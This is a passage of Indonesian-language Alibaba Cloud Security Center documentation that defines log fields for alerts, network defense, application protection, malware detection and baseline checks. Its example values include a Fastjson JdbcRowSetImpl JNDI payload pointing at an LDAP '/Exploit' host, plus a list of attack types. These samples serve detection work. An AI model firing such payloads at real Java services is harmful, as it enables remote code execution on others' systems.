    • 16: Sedang diproses. Alert memiliki status ini saat sedang diproses, misalnya dengan menghentikan proses, mengkarantina file, atau menambahkannya ke daftar putih di konsol.

    • 32: Sudah diproses. Alert memiliki status ini setelah Anda menandainya sebagai diproses secara manual atau setelah tindakan pemrosesan, seperti menghentikan proses atau mengkarantina file, selesai di konsol.

    • 64: Kedaluwarsa. Alert yang tidak diproses dalam 30 hari ditandai sebagai kedaluwarsa.

    • 513: Secara otomatis diblokir. Alert diblokir secara otomatis oleh fitur pertahanan presisi Pusat Keamanan dan tidak memerlukan tindakan manual.

    1

    unique_info

    Pengenal unik alert.

    2536dd765f804916a1fa3b9516b5****

    uuid

    UUID server yang menghasilkan alert.

    ad66133a-dc82-4e5e-9659-a49e3****

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    suspicious_event_id

    ID event peringatan.

    650226318

    handle_time

    Waktu yang sesuai dengan operasi.

    1765272845

    alert_first_time

    Waktu pertama kali alert terjadi.

    1764226915

    alert_last_time

    Waktu terakhir alert terjadi.

    1765273425

    strict_mode

    Menunjukkan apakah alert merupakan alert mode ketat. Nilai valid: true, false.

    true

    user_id

    ID akun.

    1358******3357

    CSPM - Cloud platform configuration check logs

    Nama field

    Deskripsi

    Contoh

    check_id

    ID item pemeriksaan. Anda dapat memanggil operasi ListCheckResult untuk mendapatkan ID.

    11

    check_item_name

    Nama item pemeriksaan.

    Konfigurasi pengambilan origin

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    instance_name

    Nama instans.

    lsm

    instance_result

    Dampak risiko. Nilainya berupa string JSON.

    {"Checks":[{}],"Columns":[{"key":"RegionIdShow","search":true,"searchKey":"RegionIdKey","showName":"Region","type":"text"},{"key":"InstanceIdShow","search":true,"searchKey":"InstanceIdKey","showName":"Instance ID","type":"link"},{"key":"InstanceNameShow","search":true,"searchKey":"InstanceNameKey","showName":"Instance Name","type":"text"}]}

    instance_sub_type

    Subtipe instans. Nilai valid:

    • Jika tipe instans adalah ECS, nilai valid subtipe adalah:

      • INSTANCE

      • DISK

      • SECURITY_GROUP

    • Jika tipe instans adalah ACR, nilai valid subtipe adalah:

      • REPOSITORY_ENTERPRISE

      • REPOSITORY_PERSON

    • Jika tipe instans adalah RAM, nilai valid subtipe adalah:

      • ALIAS

      • USER

      • POLICY

      • GROUP

    • Jika tipe instans adalah WAF, subtipe adalah DOMAIN.

    • Jika tipe instans adalah nilai lain, subtipe adalah INSTANCE.

    INSTANCE

    instance_type

    Tipe instans. Nilai valid:

    • ECS: Elastic Compute Service

    • SLB: Server Load Balancer

    • RDS: ApsaraDB RDS

    • MONGODB: MongoDB

    • KVSTORE: Redis

    • ACR: Container Registry

    • CSK: CSK

    • VPC: Virtual Private Cloud

    • ActionTrail adalah layanan audit operasi.

    • CDN singkatan dari content delivery network.

    • CAS: Certificate Management Service

    • RDC: Apsara Devops

    • RAM: Resource Access Management

    • DDOS: Anti-DDoS

    • WAF: Web Application Firewall

    • OSS: Object Storage Service

    • POLARDB: PolarDB

    • POSTGRESQL: PostgreSQL

    • MSE: Microservices Engine

    • NAS adalah penyimpanan file.

    • SDDP: Sensitive Data Discovery and Protection

    • EIP: Elastic IP Address

    ECS

    region_id

    ID wilayah tempat instans berada.

    cn-hangzhou

    requirement_id

    ID persyaratan. Anda dapat memanggil operasi ListCheckStandard untuk mendapatkan ID.

    5

    risk_level

    Level risiko. Nilai valid:

    • LOW

    • MEDIUM

    • HIGH

    MEDIUM

    section_id

    ID bagian. Anda dapat memanggil operasi ListCheckResult untuk mendapatkan ID.

    1

    standard_id

    ID standar. Anda dapat memanggil operasi ListCheckStandard untuk mendapatkan ID.

    1

    status

    Status item pemeriksaan. Nilai valid:

    • NOT_CHECK: Belum diperiksa

    • CHECKING: Sedang memeriksa

    • PASS: Lulus

    • NOT_PASS: Gagal

    • WHITELIST: Masuk daftar putih

    PASS

    vendor

    Penyedia layanan cloud. Nilainya tetap ALIYUN.

    ALIYUN

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Network defense logs

    Nama Field

    Deskripsi

    Contoh

    cmd

    Command line proses yang diserang.

    nginx: master process nginx

    cur_time

    Waktu ketika event serangan terjadi.

    2023-09-14 09:21:59

    decode_payload

    Payload yang dikonversi dari format HEX ke karakter.

    POST /Services/FileService/UserFiles/

    dst_ip

    Alamat IP aset yang diserang.

    172.16.XX.XX

    dst_port

    Port aset yang diserang.

    80

    func

    Tipe event yang dicegat. Nilai valid:

    • payload: Tipe payload berbahaya. Ini menunjukkan bahwa event serangan dicegat karena data atau instruksi berbahaya terdeteksi.

    • tuple: Tipe IP berbahaya. Ini menunjukkan bahwa event serangan dicegat karena akses IP berbahaya terdeteksi.

    payload

    rule_type

    Tipe aturan spesifik event yang dicegat. Nilai valid:

    • alinet_payload: Aturan pertahanan event payload yang ditentukan oleh Pusat Keamanan.

    • alinet_tuple: Aturan pertahanan event tuple yang ditentukan oleh Pusat Keamanan.

    alinet_payload

    instance_id

    ID instans aset yang diserang.

    i-2zeg4zldn8zypsfg****

    internet_ip

    Alamat IP publik aset yang diserang.

    39.104.XX.XX

    intranet_ip

    Alamat IP pribadi aset yang diserang.

    192.168.XX.XX

    final_action

    Pola tindakan pertahanan. Nilai: block (dicegat).

    block

    payload

    Payload dalam format HEX.

    504f5354202f20485454502f312e310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a557365722d4167656e743a20****

    pid

    ID proses yang diserang.

    7107

    platform

    Tipe sistem aset yang diserang. Nilai valid:

    • windows

    • linux

    linux

    proc_path

    Path proses yang diserang.

    /usr/sbin/nginx

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    src_ip

    Alamat IP sumber serangan.

    106.11.XX.XX

    src_port

    Port sumber yang memprakarsai serangan.

    29575

    uuid

    UUID server.

    5d83b26b-b7ca-4a0a-9267-12****

    start_time

    Timestamp mulai, dalam detik. Ini juga menunjukkan kapan event terjadi.

    1719472214

    Application protection logs

    Nama Bidang

    Deskripsi

    Contoh

    app_dir

    Direktori tempat aplikasi berada.

    /usr/local/aegis/rasp/apps/1111

    app_id

    ID aplikasi.

    6492a391fc9b4e2aad94****

    app_name

    Nama aplikasi.

    test

    confidence_level

    Tingkat kepercayaan algoritma deteksi. Nilai valid:

    • high

    • medium

    • low

    low

    request_body

    Badan permintaan.

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.220.XX.XX:1389/Exploit","autoCommit":true}

    request_content_length

    Panjang badan permintaan.

    112

    data

    Parameter titik hook.

    {"cmd":"bash -c kill -0 -- -'31098' "}

    headers

    Header permintaan.

    {"content-length":"112","referer":"http://120.26.XX.XX:8080/demo/Serial","accept-language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","origin":"http://120.26.XX.XX:8080","host":"120.26.XX.XX:8080","content-type":"application/json","connection":"keep-alive","x-forwarded-for":"1.1.XX.XX","accept-encoding":"gzip, deflate","user-agent":"msnbot","accept":"application/json, text/plain, */*"}

    hostname

    Nama host atau perangkat jaringan.

    testhostname

    host_ip

    Alamat IP pribadi host.

    172.16.XX.XX

    is_cliped

    Menunjukkan apakah log dipotong karena terlalu panjang. Nilai valid:

    • true: Dipotong

    • false: Tidak dipotong

    false

    jdk_version

    Versi JDK.

    1.8.0_292

    message

    Deskripsi alert.

    Unsafe class serial.

    request_method

    Metode permintaan.

    Post

    platform

    Tipe sistem operasi.

    Linux

    arch

    Arsitektur sistem operasi.

    amd64

    kernel_version

    Versi kernel sistem operasi.

    3.10.0-1160.59.1.el7.x86_64

    param

    Parameter permintaan. Format umum meliputi:

    • Parameter GET

    • application/x-www-form-urlencoded

    {"url":["http://127.0.0.1.xip.io"]}

    payload

    Payload serangan efektif.

    bash -c kill -0 -- -'31098'

    payload_length

    Panjang payload serangan.

    27

    rasp_id

    ID unik probe perlindungan aplikasi.

    fa00223c8420e256c0c98ca0bd0d****

    rasp_version

    Versi probe perlindungan aplikasi.

    0.8.5

    src_ip

    Alamat IP peminta.

    172.0.XX.XX

    final_action

    Hasil penanganan alert. Nilai valid:

    • block: Perlindungan melalui pemblokiran.

    • monitor: Pemantauan.

    block

    rule_action

    Metode penanganan alert yang ditentukan oleh aturan. Nilai valid:

    • block

    • monitor

    block

    risk_level

    Level risiko. Nilai valid:

    • High

    • medium

    • low

    high

    stacktrace

    Informasi stack.

    [java.io.FileInputStream.<init>(FileInputStream.java:123), java.io.FileInputStream.<init>(FileInputStream.java:93), com.example.vulns.controller.FileController.IORead(FileController.java:75), sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method), sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)......]

    time

    Waktu ketika alert dipicu.

    2023-10-09 15:19:15

    timestamp

    Timestamp ketika alert dipicu, dalam milidetik.

    1696835955070

    type

    Tipe serangan. Nilai valid:

    • attach: Lampiran berbahaya.

    • beans: Binding bean berbahaya

    • classloader: Pemuatan kelas berbahaya

    • dangerous_protocol: Penggunaan protokol berbahaya

    • dns: Kueri DNS berbahaya

    • engine: Injeksi engine

    • expression: Injeksi ekspresi

    • file: Baca/tulis file berbahaya

    • file_delete: Penghapusan file arbitrer

    • file_list: Traversal direktori

    • file_read: Baca file arbitrer

    • file_upload: Unggah file berbahaya

    • jndi: Injeksi JNDI

    • jni: Injeksi JNI

    • jstl: Penyertaan file arbitrer JSTL

    • memory_shell: Injeksi webshell dalam memori

    • rce: Eksekusi kode jarak jauh

    • read_object: Serangan deserialisasi

    • reflect: Panggilan refleksi berbahaya

    • sql: Injeksi SQL

    • ssrf: Koneksi keluar berbahaya

    • thread_inject: Injeksi thread

    • xxe: Serangan XXE

    rce

    url

    URL permintaan.

    http://127.0.0.1:999/xxx

    rasp_attack_uuid

    UUID event serangan.

    18823b23-7ad4-47c0-b5ac-e5f036a2****

    uuid

    UUID host.

    23f7ca61-e271-4a8e-bf5f-165596a16****

    internet_ip

    Alamat IP publik host.

    1.2.XX.XX

    intranet_ip

    Alamat IP pribadi host.

    172.16.XX.XX

    sas_group_name

    Nama grup server di Pusat Keamanan.

    Group 1

    instance_id

    ID instans host.

    i-wz995eivg28f1m**

    start_time

    Timestamp mulai, dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Malware detection logs

    Nama Bidang

    Deskripsi

    Contoh

    bucket_name

    Nama bucket.

    ***-test

    event_id

    ID alert.

    802210

    event_name

    Nama alert.

    Program Penambangan

    md5

    Hash MD5 file.

    6bc2bc******53d409b1

    sha256

    Hash SHA256 file.

    f038f9525******7772981e87f85

    result

    Hasil deteksi. Nilai valid:

    • 0: File aman.

    • 1: File berbahaya ada.

    0

    file_path

    Path file.

    test.zip/bin_test

    etag

    Pengenal file OSS.

    6BC2B******853D409B1

    risk_level

    Level risiko. Nilai valid:

    • serious: Mendesak

    • suspicious: Mencurigakan

    • remind: Pengingat

    remind

    source

    Skema deteksi. Nilai valid:

    • OSS: Deteksi file dalam bucket Alibaba Cloud Object Storage Service dilakukan di konsol Pusat Keamanan.

    • API: Deteksi file berbahaya dengan mengintegrasikan SDK menggunakan Java atau Python.

    OSS

    parent_md5

    Hash MD5 file kelas induk atau paket terkompresi.

    3d0f8045bb9******

    parent_sha256

    Hash SHA256 file induk atau paket terkompresi.

    69b643d6******a3fb859fa

    parent_file_path

    Nama file induk atau paket terkompresi.

    test.zip

    start_time

    Timestamp mulai, dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    compress_file_number

    Nomor urut file paket terkompresi, dalam format [nomor urut file saat ini]/[jumlah total file].

    1/10: Arsip berisi 10 file. Ini adalah file ke-1.

    Core file monitoring event logs

    Nama Field

    Deskripsi

    Contoh

    start_time

    Waktu paling baru event terjadi. Satuan: detik.

    1718678414

    uuid

    UUID agen.

    5d83b26b-b**a-4**a-9267-12****

    file_path

    Path file.

    /etc/passwd

    proc_path

    Path proses.

    /usr/bin/bash

    rule_id

    ID aturan yang terkena.

    123

    rule_name

    Nama aturan.

    file_test_rule

    cmdline

    Command line.

    bash /opt/a

    operation

    Operasi pada file.

    READ

    risk_level

    Level alert.

    2

    pid

    ID proses.

    45324

    proc_permission

    Izin proses.

    rwxrwxrwx

    instance_id

    ID instans.

    i-wz995eivg2****

    internet_ip

    Alamat IP publik.

    192.0.2.1

    intranet_ip

    Alamat IP pribadi.

    172.16.0.1

    instance_name

    Nama instans.

    aegis-test

    platform

    Tipe sistem operasi.

    Linux

    Agentless detection logs

    Field umum untuk kerentanan, baseline, dan sampel berbahaya

    Nama field

    Deskripsi

    Contoh

    uuid

    UUID server.

    ad66133a-dc82-4e5e-9659-a49e3****

    instance_id

    ID instans.

    i-2zeg4zldn8zypsfg****

    internet_ip

    Alamat IP publik aset.

    39.104.XX.XX

    intranet_ip

    Alamat IP pribadi aset.

    192.168.XX.XX

    sas_group_name

    Grup aset server di Pusat Keamanan.

    default

    start_time

    Timestamp mulai dalam detik. Ini juga menunjukkan waktu ketika event terjadi.

    1719472214

    Field risiko kerentanan

    Nama Bidang

    Deskripsi

    Contoh

    vul_name

    Nama kerentanan.

    imgsca:java:gson:AVD-2022-25647

    vul_alias_name

    Alias kerentanan.

    kerentanan isu kode gson (CVE-2022-25647)

    vul_primary_id

    ID kunci utama kerentanan.

    990174361

    type

    Tipe kerentanan. Nilai valid:

    • sys: Kerentanan sistem Windows

    • cve: Kerentanan perangkat lunak Linux

    • sca: Kerentanan aplikasi (tipe analisis komponen perangkat lunak)

    • emg: Kerentanan mendesak

    sca

    alert_level

    Level risiko kerentanan. Nilai valid:

    • asap: Tinggi

    • Later: Medium

    • nntf: Rendah

    asap

    instance_name

    Hostname.

    hhht-linux-***

    operation

    Tindakan yang dilakukan pada kerentanan. Nilai valid:

    • new: Baru

    • update: Diperbarui

    new

    status

    Informasi status kerentanan. Nilai valid:

    • 1: Belum diperbaiki

    • 7: Sudah diperbaiki

    1

    tag

    Tag kerentanan. Nilai valid:

    • oval: Kerentanan perangkat lunak Linux

    • system: Kerentanan sistem Windows

    Catatan

    Tag untuk tipe kerentanan lainnya adalah string acak.

    oval

    Field pemeriksaan baseline

    Nama field

    Deskripsi

    Contoh

    check_item_name

    Nama item pemeriksaan.

    Setel waktu kedaluwarsa kata sandi

    check_item_level

    Level risiko item pemeriksaan. Nilai valid:

    • high: Tinggi

    • medium: Sedang

    • low: Rendah

    high

    check_type

    Tipe item pemeriksaan.

    Otentikasi identitas

    risk_level

    Level risiko item risiko. Nilai valid:

    • high: Tinggi

    • medium: Sedang

    • low: Rendah

    low

    operation

    Operasi. Nilai valid:

    • new: Baru

    • update: Diperbarui

    new

    risk_name

    Nama item pemeriksaan berisiko.

    Pemeriksaan kepatuhan kebijakan kata sandi

    status

    Status item pemeriksaan. Nilai valid:

    • 1: Gagal

    • 3: Lulus

    1

    sub_type_alias_name

    Alias subtipe.

    Standar Alibaba Cloud - Pemeriksaan baseline keamanan CentOS Linux 7/8

    sub_type_name

    Nama subtipe baseline. Untuk informasi lebih lanjut tentang nilai valid subtipe baseline, lihat Daftar tipe dan subtipe baseline.

    hc_centos7

    type_name

    Nama tipe.

    hc_best_secruity

    type_alias_name

    Alias tipe.

    Praktik terbaik

    container_id

    ID kontainer.

    b564567427272d46f9b1cc4ade06a85fdf55075c06fdb870818d5925fa86****

    container_name

    Nama kontainer.

    k8s_gamify-answer-bol_gamify-answer-bol-5-6876d5dc78-vf6rb_study-gamify-answer-bol_483a1ed1-28b7-11eb-bc35-00163e01****_0

    Field sampel berbahaya

    Nama field

    Deskripsi

    Contoh

    alert_level

    Level risiko event alert. Nilai valid:

    • serious: Mendesak

    • Suspicious

    • remind: Pengingat

    suspicious

    alert_name

    Nama alert sampel berbahaya.

    Proses Mencurigakan - Berbasis SSH

    operation

    Operasi. Nilai valid:

    • new: Baru

    • update: Diperbarui

    new

    status

    Status risiko sampel berbahaya. Nilai valid:

    • 0: Belum ditangani

    • 3: Masuk daftar putih

    0

    suspicious_event_id

    ID event peringatan.

    909361

    Field file sensitif

    Nama field

    Deskripsi

    Contoh

    alert_level

    Level risiko. Nilai valid:

    • high: Tinggi

    • medium: Sedang

    • low: Rendah

    high

    rule_name

    Nama tipe file.

    Token Ionic

    file_path

    Path file sensitif.

    /Windows/Microsoft.NET/assembly/GAC_MSIL/System.WorkflowServices/v4.0_4.0.0.0__31bf3856ad36****/System.WorkflowServices.dll

    result

    Hasil pemeriksaan.

    {"result":"[\"[\\\"mysql-uqjtwadmin-xxx"}

    Lampiran

    Daftar tipe dan subtipe baseline

    Nama tipe

    Nama subtipe

    Deskripsi

    hc_exploit

    hc_exploit_redis

    Eksploitasi ancaman penting: Akses tidak sah ke Redis

    hc_exploit_activemq

    Eksploitasi ancaman penting: Akses tidak sah ke ActiveMQ

    hc_exploit_couchdb

    Eksploitasi ancaman penting: Akses tidak sah ke CouchDB

    hc_exploit_docker

    Eksploitasi ancaman penting: Akses tidak sah ke Docker

    hc_exploit_es

    Eksploitasi ancaman penting: Akses tidak sah ke Elasticsearch

    hc_exploit_hadoop

    Eksploitasi ancaman penting: Akses tidak sah ke Hadoop

    hc_exploit_jboss

    Eksploitasi ancaman penting: Akses tidak sah ke JBoss

    hc_exploit_jenkins

    Eksploitasi ancaman penting: Akses tidak sah ke Jenkins

    hc_exploit_k8s_api

    Eksploitasi ancaman penting: Akses tidak sah ke server API Kubernetes

    hc_exploit_ldap

    Eksploitasi ancaman penting: Akses tidak sah ke LDAP (lingkungan Windows)

    hc_exploit_ldap_linux

    Eksploitasi ancaman penting: Akses tidak sah ke OpenLDAP (lingkungan Linux)

    hc_exploit_memcache

    Eksploitasi ancaman penting: Akses tidak sah ke Memcached

    hc_exploit_mongo

    Eksploitasi ancaman penting: Akses tidak sah ke MongoDB

    hc_exploit_pgsql

    Penting: Eksploitasi Ancaman—Baseline Akses Tidak Sah PostgreSQL

    hc_exploit_rabbitmq

    Eksploitasi ancaman penting: Akses tidak sah ke RabbitMQ

    hc_exploit_rsync

    Eksploitasi ancaman penting: Akses tidak sah ke rsync

    hc_exploit_tomcat

    Eksploitasi ancaman penting: Kerentanan inklusi file Apache Tomcat AJP

    hc_exploit_zookeeper

    Eksploitasi ancaman penting: Akses tidak sah ke ZooKeeper

    hc_container

    hc_docker

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Docker

    hc_middleware_ack_master

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan node master Kubernetes (ACK)

    hc_middleware_ack_node

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan node Kubernetes (ACK)

    hc_middleware_k8s

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan node master Kubernetes

    hc_middleware_k8s_node

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan node Kubernetes

    cis

    hc_suse 15_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SUSE 15

    hc_aliyun_linux3_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Alibaba Cloud Linux 3

    hc_aliyun_linux_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Alibaba Cloud Linux/Aliyun Linux 2

    hc_bind_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Bind

    hc_centos 6_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan CentOS Linux 6

    hc_centos 7_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan CentOS Linux 7

    hc_centos 8_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan CentOS Linux 8

    hc_debian_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Debian Linux 8/9/10

    hc_iis_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan IIS

    hc_informix_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Informix

    hc_jboss_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan JBoss

    hc_mongo_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan MongoDB

    hc_mssql_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SQL Server

    hc_mysql_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan MySQL

    hc_nginx_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Nginx

    hc_oracle_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Oracle

    hc_pgsql_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan PostgreSQL

    hc_redhat 6_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Red Hat Linux 6

    hc_redhat_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Red Hat Linux 7

    hc_redis_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Redis

    hc_suse 10_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SUSE 10

    hc_suse 12_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SUSE 12

    hc_suse_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SUSE 11

    hc_ubuntu 14_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Ubuntu 14

    hc_ubuntu_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Ubuntu 16/18/20

    hc_was_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Websphere Application Server

    hc_weblogic_djbh

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan WebLogic

    hc_win 2008_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Windows 2008 R2

    hc_win 2012_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Windows 2012 R2

    hc_win 2016_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Windows 2016/2019

    hc_aliyun_linux_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Alibaba Cloud Linux/Aliyun Linux 2

    hc_centos 6_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan CentOS Linux 6

    hc_centos 7_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan CentOS Linux 7

    hc_debian_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Debian Linux 8

    hc_redhat 7_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Red Hat Linux 7

    hc_ubuntu_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Ubuntu 16/18

    hc_win 2008_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Windows 2008 R2

    hc_win 2012_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Windows 2012 R2

    hc_win 2016_djbh_l2

    MLPS 2.0 Level 2: Pemeriksaan baseline kepatuhan Windows 2016/2019

    hc_aliyun_linux_cis

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan Alibaba Cloud Linux/Aliyun Linux 2

    hc_centos 6_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan CentOS Linux 6

    hc_centos 7_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan CentOS Linux 7

    hc_centos 8_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan CentOS Linux 8

    hc_debian 8_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan Debian Linux 8

    hc_ubuntu 14_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan Ubuntu 14

    hc_ubuntu 16_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan Ubuntu 16/18/20

    hc_win 2008_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan Windows Server 2008 R2

    hc_win 2012_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan Windows Server 2012 R2

    hc_win 2016_cis_rules

    Praktik terbaik keamanan internasional: Pemeriksaan baseline keamanan Windows Server 2016/2019 R2

    hc_kylin_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Kylin

    hc_uos_djbh_l3

    MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan UOS

    hc_best_security

    hc_aliyun_linux

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Alibaba Cloud Linux/Aliyun Linux 2

    hc_centos 6

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan CentOS Linux 6

    hc_centos 7

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan CentOS Linux 7/8

    hc_debian

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Debian Linux 8/9/10

    hc_redhat 6

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Red Hat Linux 6

    hc_redhat 7

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Red Hat Linux 7/8

    hc_ubuntu

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Ubuntu

    hc_windows_2008

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Windows 2008 R2

    hc_windows_2012

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Windows 2012 R2

    hc_windows_2016

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Windows 2016/2019

    hc_db_mssql

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan SQL Server

    hc_memcached_ali

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Memcached

    hc_mongodb

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan MongoDB 3.x

    hc_mysql_ali

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan MySQL

    hc_oracle

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Oracle 11g

    hc_pgsql_ali

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan PostgreSQL

    hc_redis_ali

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Redis

    hc_apache

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Apache

    hc_iis_8

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan IIS 8

    hc_nginx_linux

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Nginx

    hc_suse 15

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan SUSE Linux 15

    tomcat 7

    Standar Alibaba Cloud: Pemeriksaan baseline keamanan Apache Tomcat

    weak_password

    hc_mongodb_pwd

    Kata sandi lemah: Deteksi kata sandi lemah login MongoDB (mendukung versi 2.x)

    hc_weakpwd_ftp_linux

    Kata sandi lemah: Pemeriksaan kata sandi lemah login FTP

    hc_weakpwd_linux_sys

    Kata sandi lemah: Pemeriksaan kata sandi lemah login sistem Linux

    hc_weakpwd_mongodb 3

    Kata sandi lemah: Deteksi kata sandi lemah login MongoDB

    hc_weakpwd_mssql

    Kata sandi lemah: Pemeriksaan kata sandi lemah login database SQL Server

    hc_weakpwd_mysql_linux

    Kata sandi lemah: Pemeriksaan kata sandi lemah login database MySQL

    hc_weakpwd_mysql_win

    Kata sandi lemah: Pemeriksaan kata sandi lemah login database MySQL (Windows)

    hc_weakpwd_openldap

    Kata sandi lemah: Pemeriksaan kata sandi lemah login OpenLDAP

    hc_weakpwd_oracle

    Kata sandi lemah: Deteksi kata sandi lemah login Oracle

    hc_weakpwd_pgsql

    Kata sandi lemah: Pemeriksaan kata sandi lemah login database PostgreSQL

    hc_weakpwd_pptp

    Kata sandi lemah: Pemeriksaan kata sandi lemah layanan pptpd

    hc_weakpwd_redis_linux

    Kata sandi lemah: Pemeriksaan kata sandi lemah login database Redis

    hc_weakpwd_rsync

    Kata sandi lemah: Pemeriksaan kata sandi lemah layanan rsync

    hc_weakpwd_svn

    Kata sandi lemah: Pemeriksaan kata sandi lemah layanan SVN

    hc_weakpwd_tomcat_linux

    Kata sandi lemah: Pemeriksaan kata sandi lemah konsol Apache Tomcat

    hc_weakpwd_vnc

    Kata sandi lemah: Pemeriksaan kata sandi lemah VNC Server

    hc_weakpwd_weblogic

    Kata sandi lemah: Deteksi kata sandi lemah login WebLogic 12c

    hc_weakpwd_win_sys

    Kata sandi lemah: Pemeriksaan kata sandi lemah login sistem Windows